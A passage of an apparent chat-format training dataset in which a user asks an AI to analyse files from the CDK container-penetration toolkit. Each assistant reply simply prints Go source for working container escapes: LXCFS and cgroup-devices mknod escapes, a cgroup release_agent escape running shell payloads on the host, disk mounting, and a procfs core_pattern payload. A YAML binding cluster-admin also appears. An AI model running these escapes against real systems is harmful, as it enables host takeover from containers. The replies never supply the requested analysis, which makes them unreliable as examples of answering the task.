{\n\t\tlog.Printf(\"%v\", err)\n\t\treturn false\n\t}\n\n\t// Responding to the case of mount the lxcfs path of other containers in the target container\n\t// ./cdk run lxcfs-rw \"filter-string\"\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) < 1 {\n\t\tfilterString = \"\"\n\t} else {\n\t\tfilterString = args[0]\n\t}\n\n\tlog.Printf(\"filter string for mount point is \\\"%s\\\"\", filterString)\n\n\tfor _, mi := range mountInfos {\n\n\t\tif findTargetMountPoint(&mi, filterString) {\n\t\t\ttargetMountPoint = mi.MountPoint\n\t\t}\n\t\tif findDevicesAllowPath(&mi) {\n\t\t\tpodCgroupPath = mi.Root\n\t\t}\n\t\tif util.FindTargetDeviceID(&mi) {\n\t\t\tdeviceMarjor = mi.Major\n\t\t\tdeviceMinor = mi.Minor\n\t\t}\n\t}\n\n\tdevicesAllowPath = path.Join(targetMountPoint, \"cgroup/devices\", podCgroupPath, devicesAllowName)\n\tdevicesListPath = path.Join(targetMountPoint, \"cgroup/devices\", podCgroupPath, devicesListName)\n\n\tlog.Printf(\"set %s\\n\", devicesAllowPath)\n\terr = util.SetBlockAccessible(devicesAllowPath)\n\tif err != nil {\n\t\tlog.Printf(\"%v\", err)\n\t\treturn false\n\t}\n\tdevicesAllow := getDevicesAllow(devicesListPath)\n\tlog.Printf(\"devices.allow content: %s\", devicesAllow)\n\tif strings.Contains(devicesAllow, \"a *:* rwm\") {\n\t\tdev := util.MakeDev(deviceMarjor, deviceMinor)\n\t\tif dev == 0 {\n\t\t\tlog.Printf(\"Blockdevice Marjor/Minor number invalid.\")\n\t\t\treturn false\n\t\t}\n\t\terr = syscall.Mknod(\"./host_dev\", syscall.S_IFBLK|uint32(os.FileMode(0700)), dev)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"mknod err: %v\", err)\n\t\t\treturn false\n\t\t}\n\t\tlog.Printf(\"exploit success, run \\\"debugfs -w host_dev\\\".\")\n\t\tif !CheckDebugfs() {\n\t\t\tlog.Printf(\"if debugfs can not used, may be you can try to run `./cdk run lxcfs-rw-cgroup 'shell-cmd-payloads`\")\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}\n\n// CheckDebugfs check if debugfs is installed\nfunc CheckDebugfs() bool {\n\t_, err := os.Stat(\"/usr/bin/debugfs\")\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn true\n}\n\ntype lxcfsRWS struct{ base.BaseExploit }\n\nfunc (l lxcfsRWS) Desc() string {\n\treturn \"escape container by syscall mknod when root has LXCFS read & write privilege, usage: `./cdk run lxcfs-rw`\"\n}\n\nfunc (l lxcfsRWS) Run() bool {\n\treturn ExploitLXCFS()\n}\n\nfunc init() {\n\texploit := lxcfsRWS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"lxcfs-rw\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/mount_cgroup.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_mount_cgroup && linux\n// +build !no_mount_cgroup,linux\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// this is the exploit of\n// https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/\n// https://twitter.com/_fel1x/status/1151487051986087936\n\n// tested in ubuntu docker\n// [host] docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash\n// [inside container] ./cdk run mount-cgroup ps\n\n//#!/bin/sh\n//mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir -p /tmp/cgrp/cdk\n//echo 1 > /tmp/cgrp/cdk/notify_on_release\n//host_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab`\n//echo \"$host_path/cmd\" > /tmp/cgrp/release_agent\n//echo '#!/bin/sh' > /cmd\n//echo \"ps aux > $host_path/output\" >> /cmd\n//chmod a+x /cmd\n//sh -c \"echo \\$\\$ > /tmp/cgrp/cdk/cgroup.procs\"\n//sleep 1\n//cat $host_path/output\n\nconst DefaultFolderPerm = 0755\n\n// Note: Do not include any empty line at the start of script, or it will fail.\nvar shell = `#!/bin/sh\n${shellCmd} > ${hostPath}${outputFile}\n`\n\nfunc generateShellExp(hostPath, shellCmd string) (string, string) {\n\tvar taskRandString = util.RandString(4)\n\tvar outputFile = \"/cdk_cgres_\" + taskRandString\n\n\tshell = strings.Replace(shell, \"${hostPath}\", hostPath, -1)\n\tshell = strings.Replace(shell, \"${shellCmd}\", shellCmd, -1)\n\tshell = strings.Replace(shell, \"${outputFile}\", outputFile, -1)\n\treturn taskRandString, shell\n}\n\nfunc EscapeCgroup(cmd string, subSystemName string) error {\n\t// check cgroup version\n\tcgVer, err := util.GetCgroupVersion()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"cannot determine cgroup version\"}\n\t}\n\tif cgVer != 1 {\n\t\treturn &errors.CDKRuntimeError{Err: nil, CustomMsg: \"exploit only suitable for cgroup v1\"}\n\t}\n\n\t// hostPath for write release_agent path\n\tvar hostPath string\n\t// read /proc/self/mountinfo instead of /etc/mtab, since former one is already implemented\n\tmountedDevs, err := util.GetMountInfo()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"unable to read mountinfo\"}\n\t}\n\t// loop through all mounted devices\n\tfor _, i := range mountedDevs {\n\t\tif i.Fstype == \"overlay\" && i.MountPoint == \"/\" {\n\t\t\tfor _, j := range i.SuperBlockOptions {\n\t\t\t\thasUpper := strings.Contains(j, \"upperdir=\")\n\t\t\t\tif hasUpper {\n\t\t\t\t\t// found\n\t\t\t\t\thostPath = j[9:]\n\t\t\t\t\tlog.Println(\"Found hostpath: \" + hostPath)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(hostPath) == 0 {\n\t\treturn &errors.CDKRuntimeError{\n\t\t\tErr: nil,\n\t\t\tCustomMsg: \"container filesystem path on host cannot be found\",\n\t\t}\n\t}\n\n\t// generate release_agent shell script and save to local\n\tvar taskRandString, expShellText = generateShellExp(hostPath, cmd)\n\t// even in container, you should save to a writable path\n\tvar outFile = fmt.Sprintf(\"/cdk_cgexp_%s.sh\", taskRandString)\n\tlog.Printf(\"generate shell exploit with user-input cmd: \\n\\n%s\\n\\n\", cmd)\n\tfmt.Printf(\"final shell exploit is: \\n\\n\")\n\tfmt.Println(expShellText)\n\n\terr = ioutil.WriteFile(outFile, []byte(expShellText), 0777)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"write shell exploit failed\"}\n\t}\n\tlog.Printf(\"shell script saved to %s\", outFile)\n\n\t// create mountpoint\n\tmountPointPath := \"/tmp/cgrp_\" + taskRandString\n\tsubgroupName := \"/x_\" + taskRandString\n\terr = os.Mkdir(mountPointPath, DefaultFolderPerm)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"cannot create mountpoint\"}\n\t}\n\t// mount cgroup\n\terr = syscall.Mount(\"cgroup\", mountPointPath, \"cgroup\", 0, subSystemName)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"mount syscall failed\"}\n\t}\n\t// create sub-cgroup: task group x\n\terr = os.Mkdir(mountPointPath+subgroupName, DefaultFolderPerm)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"subgroup cannot be created\"}\n\t}\n\t// enable notify_on_release\n\terr = ioutil.WriteFile(mountPointPath+subgroupName+\"/notify_on_release\", []byte(\"1\"), 0644)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"cannot enable notify_on_release\"}\n\t}\n\t// write release_agent\n\terr = ioutil.WriteFile(mountPointPath+\"/release_agent\", []byte(hostPath+outFile), 0644)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"release_agent is not writable\"}\n\t}\n\n\t// trigger release\n\t// sleep 2s for debug purpose\n\taddProcCmd := exec.Command(\"/bin/sh\", \"-c\", \"sleep 2\")\n\terr = addProcCmd.Start()\n\tif err != nil {\n\t\t// exit code might not be zero, but still succeed\n\t\tlog.Printf(\"Trigger Release Error: %s \\n\", err.Error())\n\t}\n\t// write PID to cgroup.procs\n\terr = ioutil.WriteFile(mountPointPath+subgroupName+\"/cgroup.procs\", []byte(strconv.Itoa(addProcCmd.Process.Pid)), 0644)\n\tif err != nil {\n\t\tlog.Printf(\"Write PID to cgroup.procs failed: %s \\n\", err.Error())\n\t}\n\t// sleep and read result, must use Wait() to avoid zombie process.\n\taddProcCmd.Wait()\n\ttime.Sleep(3 * time.Second)\n\tretRes, err := ioutil.ReadFile(\"/cdk_cgres_\" + taskRandString)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"read execution result file error\"}\n\t}\n\tlog.Printf(\"Execute Result: \\n\\n %s \\n\", string(retRes))\n\treturn err\n}\n\n// plugin interface\ntype ExploitCgroupS struct{ base.BaseExploit }\n\nfunc (p ExploitCgroupS) Desc() string {\n\treturn `escape privileged container via cgroup. usage: ./cdk run mount-cgroup \"shell-cmd-payloads\" [subsystem-name]`\n}\n\nfunc (p ExploitCgroupS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\n\tcmd := args[0]\n\tif len(args) == 1 {\n\t\t// by default, use memory cgroup.\n\t\targs = append(args, \"memory\")\n\t}\n\n\t// modified due to limitation of `unshare` syscall in linux\n\t// check comments of abuse_unpriv_userns.go for more details\n\tsubSysName := args[1]\n\t// cve-2022-0492: only RDMA/MISC is available for exploit\n\t// differing of Linux Kernel version, 5.13+ has misc available, and RDMA not work.\n\tavailSubSys, err := util.GetAllCGroupSubSystem()\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\tif !util.StringContains(availSubSys, subSysName) {\n\t\tlog.Println(\"Invalid input args. (subsystem OR cmd not quoted)\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\n\t// start exploit\n\tlog.Printf(\"current cgroup for exploit: %s \\n\", subSysName)\n\tlog.Printf(\"user-defined shell payload is: %s \\n\", cmd)\n\terr = EscapeCgroup(cmd, subSysName)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc init() {\n\texploit := ExploitCgroupS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"mount-cgroup\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/mount_device.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_mount_device\n// +build !no_mount_device\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"github.com/shirou/gopsutil/v3/disk\"\n)\n\n// add this to check if the container have device priv\nfunc CheckFdisk() {\n\t_, err := exec.LookPath(\"fdisk\")\n\tif err != nil {\n\t\tlog.Println(\"cannot run `fdisk` command on target os\")\n\t\treturn\n\t}\n\n\tcmd := exec.Command(\"fdisk\", \"-l\")\n\n\tvar output bytes.Buffer\n\tcmd.Stdout = &output\n\te := cmd.Run()\n\tif e != nil {\n\t\tlog.Fatal(\"run command error :\" + e.Error())\n\t}\n\n\tpattern := regexp.MustCompile(\"(?i)\\\\n/[^\\\\n]*linux(\\\\n|$)\")\n\tparams := pattern.FindAllStringSubmatch(output.String(), -1)\n\tfor _, matched := range params {\n\t\tfmt.Printf(\"%s\\n\", strings.Join(matched, \"\\n\"))\n\n\t}\n}\n\n// print all device and mount them to random path under /tmp\nfunc AllDiskMount() (error, []string) {\n\tvar exploitSuccess = false\n\tvar mountedDirs []string\n\tvar devices []string\n\n\tinfos, _ := disk.Partitions(false)\n\tfor _, info := range infos {\n\t\tdevices = append(devices, info.Device)\n\t\tdata, _ := json.MarshalIndent(info, \"\", \" \")\n\t\tfmt.Println(string(data))\n\t}\n\tdevices = util.RemoveDuplicateElement(devices)\n\tlog.Println(\"found\", len(devices), \"devices in total.\")\n\n\tif len(devices) > 0 {\n\t\tfor _, device := range devices {\n\t\t\terr, mountDir := MountToRandomTarget(device)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t} else {\n\t\t\t\tmountedDirs = append(mountedDirs, mountDir)\n\t\t\t\texploitSuccess = true\n\t\t\t}\n\t\t}\n\t}\n\tif exploitSuccess {\n\t\treturn nil, mountedDirs\n\t} else {\n\t\treturn errors.New(\"exploit mount-disk failed.\"), nil\n\t}\n}\n\nfunc MountToRandomTarget(device string) (error, string) {\n\tmountDir := fmt.Sprintf(\"/tmp/cdk_%s\", util.RandString(5))\n\terr := os.MkdirAll(mountDir, os.ModePerm)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: fmt.Sprintf(\"fail to create mount dir in:%s\", mountDir)}, \"\"\n\t}\n\n\tcmd := exec.Command(\"mount\", device, mountDir)\n\n\tvar output bytes.Buffer\n\tcmd.Stdout = &output\n\te := cmd.Run()\n\tif e != nil {\n\t\treturn &errors.CDKRuntimeError{Err: e, CustomMsg: \"mount error. possible reason: target container is not privileged.\"}, \"\"\n\t}\n\n\tfmt.Printf(\"success! device %s was mounted to %s\\n\\n\", device, mountDir)\n\n\treturn nil, mountDir\n}\n\n// plugin interface\ntype mountDeviceS struct{ base.BaseExploit }\n\nfunc (p mountDeviceS) Desc() string {\n\treturn \"escape privileged container via disk mount, usage: `./cdk run mount-disk`\"\n}\nfunc (p mountDeviceS) Run() bool {\n\terr, _ := AllDiskMount()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc init() {\n\texploit := mountDeviceS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"mount-disk\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/mount_procfs.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_mount_procfs\n// +build !no_mount_procfs\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"regexp\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nfunc GetDockerAbsPath() string {\n\tdata, err := ioutil.ReadFile(\"/proc/self/mounts\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\t// example 1: workdir=/var/lib/docker/overlay2/9383b939bf4ed66b3f01990664d533f97f1cf9c544cb3f3d2830fe97136eb76f/work -> /data/docker/overlay2/f5aa028c48864dd7fefdd00230e6a6954d9292fdcc4e5f80575d186590ff6b5c\n\t// example 2: workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301/work -> /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4301\n\t// devicemapper fs not overlay2 below\n\t// example 3: /dev/mapper/docker-253:1-1316448-9ac38e89740bd1f1013d4060dd83f06d8035edfe80fefda72c7e5c6c44b5b10f -> /\n\tpattern := regexp.MustCompile(`workdir=((/[^/ ]+)+)/work`)\n\tparams := pattern.FindStringSubmatch(string(data))\n\tif len(params) < 2 {\n\t\tlog.Println(\"failed to find docker abs path in /proc/self/mounts\")\n\t} else {\n\t\treturn params[1] + \"/merged\"\n\t}\n\n\tpattern = regexp.MustCompile(`/dev/mapper/[^/ ]+-([0-9a-fA-F]+) `)\n\tparams = pattern.FindStringSubmatch(string(data))\n\tif len(params) < 2 {\n\t\tlog.Fatal(\"failed to find docker devicemapper abs path in /proc/self/mounts\")\n\t}\n\treturn \"/var/lib/docker/devicemapper/mnt/\" + params[1]\n}\n\n/*\n// or use c codes instead to trigger crash\n\n#include \nint main(void)\n\n\t{\n\t int *a = NULL;\n\t *a = 1;\n\t return 0;\n\t}\n*/\nfunc triggerSegmentFault() {\n\t//defer func() {\n\t//\tif r := recover(); r != nil {\n\t//\t\tfmt.Println(\"recover from panic:\", r)\n\t//\t}\n\t//}()\n\n\t// trigger core dump in crash\n\tvar pInt *int\n\t*pInt = 1\n}\n\nfunc checkEnvFirst() {\n\t// golang segment fault will not trigger core dump by default.\n\t// need to set `export GOTRACEBACK=crash` first\n\tif os.Getenv(\"GOTRACEBACK\") != \"crash\" {\n\n\t\terr := os.Setenv(\"GOTRACEBACK\", \"crash\")\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"set GOTRACEBACK env failed:\", err)\n\t\t}\n\n\t\tlog.Println(\"env GOTRACEBACK not found, trying to set GOTRACEBACK=crash then reload exploit.\")\n\n\t\t// reload this exploit with origin args\n\t\tcmd := exec.Command(os.Args[0], os.Args[1:]...)\n\t\tout, err1 := cmd.Output()\n\t\tif err1 != nil {\n\t\t\tlog.Printf(\"Execute Shell:%s failed with error:%s\", cmd, err1.Error())\n\t\t\tlog.Fatal(\"if you see \\\"(core dumped)\\\" in former err output, means exploit success.\")\n\t\t}\n\t\tfmt.Println(string(out))\n\t\tos.Exit(0) // end main process, prevent to run exp twice\n\t}\n}\n\nfunc ProcfsExploit(procDir string, shellPayload string) {\n\t// make sure env GOTRACEBACK=crash was set\n\tcheckEnvFirst()\n\n\tdockerPath := GetDockerAbsPath()\n\tlog.Printf(\"/proc mounted dir:\\n%s\\n\", procDir)\n\tlog.Printf(\"shell payload:\\n%s\\n\", shellPayload)\n\tlog.Printf(\"current docker abs path:\\n%s\\n\", dockerPath)\n\n\trandKey := util.RandString(5)\n\tcorePatternPayload := fmt.Sprintf(\"|%s/cmd_%s\", dockerPath, randKey)\n\tcorePatternFile := procDir + \"/sys/kernel/core_pattern\"\n\texpScript := \"/cmd_\" + randKey\n\texpPayload := \"#!/bin/sh\\n\" + shellPayload\n\n\tutil.RewriteFile(corePatternFile, corePatternPayload, 0644)\n\tutil.RewriteFile(expScript, expPayload, 0777)\n\n\tlog.Println(\"trigger segment fault to finish exploit, pls check if payload executed success after this program quit.\")\n\ttriggerSegmentFault()\n}\n\n// plugin interface\ntype mountProcfsExpS struct{ base.BaseExploit }\n\nfunc (p mountProcfsExpS) Desc() string {\n\treturn \"escape container via mounted procfs. usage: cdk run mount-procfs \\\"\\\"\"\n}\nfunc (p mountProcfsExpS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif args == nil || len(args) != 2 {\n\t\tlog.Println(\"Invalid input args.\")\n\t\thelpMsg()\n\t}\n\ts, err := os.Stat(args[0])\n\tif err != nil || s == nil {\n\t\tlog.Println(\"invalid /proc dir path:\", args[0])\n\t\thelpMsg()\n\t}\n\tif !s.IsDir() {\n\t\tlog.Println(\"invalid /proc dir path:\", args[0])\n\t\thelpMsg()\n\t}\n\n\tprocDir := args[0]\n\tshellPayload := args[1]\n\n\tProcfsExploit(procDir, shellPayload)\n\n\treturn true\n}\n\nfunc helpMsg() {\n\tlog.Println(\"usage: cdk run mount-procfs \\\"\\\"\")\n\tlog.Fatal(\"example: cdk run mount-procfs /mnt/host_proc \\\"touch /tmp/exploit_success\\\" (the shell payload will run by docker host).\")\n}\n\nfunc init() {\n\texploit := mountProcfsExpS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"mount-procfs\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/rewrite_cgroup_devices.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_rewrite_cgroup_devices\n// +build !no_rewrite_cgroup_devices\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"syscall\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// plugin interface\ntype cgroupDevicesExploitS struct{ base.BaseExploit }\n\nvar deviceCGroupPath = \"\"\n\nfunc (p cgroupDevicesExploitS) Desc() string {\n\treturn \"escape sys_admin capabilities container via rewrite cgroup devices.allow. usage: ./cdk run rewrite-cgroup-devices.\"\n}\n\nfunc fileInode(path string) (inodeID uint64, err error) {\n\tinfo, err := os.Stat(path)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif stat, ok := info.Sys().(*syscall.Stat_t); ok {\n\t\treturn stat.Ino, nil\n\t}\n\treturn 0, nil\n}\n\n// newDevicesCgroup like \"mount -t cgroup -o devices devices /tmp/cdk_dcgroup**\"\nfunc newDevicesCgroup(filePreString string) error {\n\n\t// mkdir\n\tvar taskRandString = util.RandString(6)\n\tdeviceCGroupPath = fmt.Sprintf(\"/tmp/%s_%s\", filePreString, taskRandString)\n\tlog.Printf(\"generate cgroup dir: %s\\n\", deviceCGroupPath)\n\tif err := os.Mkdir(deviceCGroupPath, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\n\t// mount\n\tvar output bytes.Buffer\n\tcmd := exec.Command(\"mount\", \"-t\", \"cgroup\", \"-o\", \"devices\", \"devices\", deviceCGroupPath)\n\tcmd.Stdout = &output\n\tif err := cmd.Run(); err != nil {\n\t\tlog.Printf(\"error stdout: %s\", cmd.Stdout)\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc findCurrentCgroupENV() string {\n\n\tdevicesAllowPath := \"\"\n\tvar rootDeviceAllow = fmt.Sprintf(\"%s/devices.allow\", deviceCGroupPath)\n\n\t// find current container cgroup\n\tinodeID, err := fileInode(\"/sys/fs/cgroup/devices/devices.allow\")\n\tif err != nil {\n\t\tlog.Printf(\"get /sys/fs/cgroup/devices/devices.allow inode error: %s\\n\", err)\n\t\treturn \"\"\n\t}\n\tlog.Printf(\"get /sys/fs/cgroup/devices/devices.allow inode id: %d\\n\", inodeID)\n\n\t// the best way to find container id and current cgroup devices.allow\n\terr = filepath.Walk(deviceCGroupPath, func(path string, info os.FileInfo, err error) error {\n\t\tif err == nil && info.Name() == \"devices.allow\" && path != rootDeviceAllow {\n\t\t\tiid, err := fileInode(path)\n\t\t\tif err == nil && iid == inodeID {\n\t\t\t\tdevicesAllowPath = path\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n\treturn devicesAllowPath\n\n}\n\nfunc (p cgroupDevicesExploitS) Run() bool {\n\n\t// mkdir and mount\n\terr := newDevicesCgroup(\"cdk_dcgroup\")\n\tif err != nil {\n\t\tlog.Printf(\"run mount -t cgroup -o devices devices /tmp/cdk_dcgroup** error: %s\\n\", err)\n\t\treturn false\n\t}\n\n\tdevicesAllowPath := findCurrentCgroupENV()\n\tif devicesAllowPath == \"\" {\n\t\tlog.Printf(\"writeable cgroup devices.allow not found\")\n\t\treturn false\n\t}\n\tlog.Printf(\"find cgroup devices.allow file: %s\\n\", devicesAllowPath)\n\n\t// get \"virtblk\" device ID\n\tmountInfos, err := util.GetMountInfo()\n\tif err != nil {\n\t\tlog.Printf(\"get mount info error: %v\", err)\n\t\treturn false\n\t}\n\n\t// rewrite and mknod\n\terr = util.SetBlockAccessible(devicesAllowPath)\n\tif err != nil {\n\t\tlog.Printf(\"set block accessible err %v\", err)\n\t\treturn false\n\t}\n\n\t// use lxcfs_rw exp function by https://github.com/yeahx\n\tfor _, mi := range mountInfos {\n\t\tif util.FindTargetDeviceID(&mi) {\n\n\t\t\tdev := util.MakeDev(mi.Major, mi.Minor)\n\t\t\tif dev == 0 {\n\t\t\t\tlog.Printf(\"Blockdevice Marjor/Minor number invalid.\")\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\terr = syscall.Mknod(\"./cdk_mknod_result\", syscall.S_IFBLK|uint32(os.FileMode(0700)), dev)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"mknod err: %v\", err)\n\t\t\t\treturn false\n\t\t\t} else {\n\t\t\t\t// escape done~\n\t\t\t\tlog.Println(\"now, run 'debugfs -w cdk_mknod_result' to browse host files.\")\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc init() {\n\texploit := cgroupDevicesExploitS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"rewrite-cgroup-devices\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/hwexp/411.yaml\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: my-serviceaccount\n namespace: default\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: my-cluster-admin\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\nsubjects:\n - kind: ServiceAccount\n name: my-serviceaccount\n namespace: default\n---\napiVersion: v1\nkind: Pod\nmetadata:\n name: my-centos-pod\n namespace: default\nspec:\n serviceAccountName: my-serviceaccount\n containers:\n - name: centos-container\n image: centos:latest\n command: [\"/bin/bash\", \"-c\", \"--\"]\n args: [\"while true; do sleep 30; done;\"]\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/hwexp/utils.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage hwexp\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"log\"\n)\n\ntype Result struct {\n\tCode int\n\tMessage 